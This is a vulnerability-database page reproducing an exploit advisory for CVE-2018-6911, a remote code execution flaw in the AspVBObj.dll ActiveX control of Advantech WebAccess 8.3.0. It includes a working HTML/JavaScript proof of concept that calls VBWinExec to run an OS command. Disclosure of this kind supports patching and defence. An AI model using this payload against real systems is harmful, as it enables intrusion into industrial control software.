Advantech WebAccess 8.3.0 - Remote Code Execution

🗓️ 13 Feb 2018 00:00:00Reported by Nassim AsrirType

Advantech WebAccess 8.3.0 Remote Code Execution via AspVBObj.dl

Reporter	Title	Published	Views	Family All 7
0day.today	Advantech WebAccess 8.3.0 - Remote Code Execution Exploit	13 Feb 201800:00	–	zdt
CVE	CVE-2018-6911	13 Feb 201814:00	–	cve
Cvelist	CVE-2018-6911	13 Feb 201814:00	–	cvelist
exploitpack	Advantech WebAccess 8.3.0 - Remote Code Execution	13 Feb 201800:00	–	exploitpack
NVD	CVE-2018-6911	13 Feb 201814:29	–	nvd
Packet Storm	Advantech WebAccess Node 8.3.0 DLL Hijacking	12 Feb 201800:00	–	packetstorm
Prion	Command injection	13 Feb 201814:29	–	prion

Vulnerability Title: Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution

Discovered by: Nassim Asrir 

Contact: [email protected] / https://www.linkedin.com/in/nassim-asrir-b73a57122/

CVE: CVE-2018-6911

Tested on: IE11 / Win10


Technical Details:
==================

The VBWinExec function in Node\AspVBObj.dll in Advantech WebAccess 8.3.0 allows remote attackers to execute arbitrary OS commands via a single argument.

Vulnerable File: C:\WebAccess\Node\AspVBObj.dll

Vulnerable Function: VBWinExec

Vulnerable Class: Include

Class Include
GUID: {55F52D11-CEA5-4D6C-9912-2C8FA03275CE}
Number of Interfaces: 1
Default Interface: _Include
RegKey Safe for Script: False
RegkeySafe for Init: False
KillBitSet: False

The VBWinExec function take one parameter and the user/attacker will be able to control it to execute OS command.

Function VBWinExec (
 	ByRef command  As String 
)

Exploit:
========

<title>Advantech WebAccess Node8.3.0 "AspVBObj.dll" - Remote Code Execution</title>
<BODY>
 <object id=rce classid="clsid:{55F52D11-CEA5-4D6C-9912-2C8FA03275CE}"></object>
 
<SCRIPT>
 
function exploit()
 {
     
     rce.VBWinExec("calc")
	
   
 }
 
</SCRIPT>
<input language=JavaScript onclick=exploit() type=button value="Exploit-Me"><br>
</body>
</HTML>

13 Feb 2018 00:00Current

7High risk

Vulners AI Score7

CVSS 39.8

CVSS 210

EPSS0.29181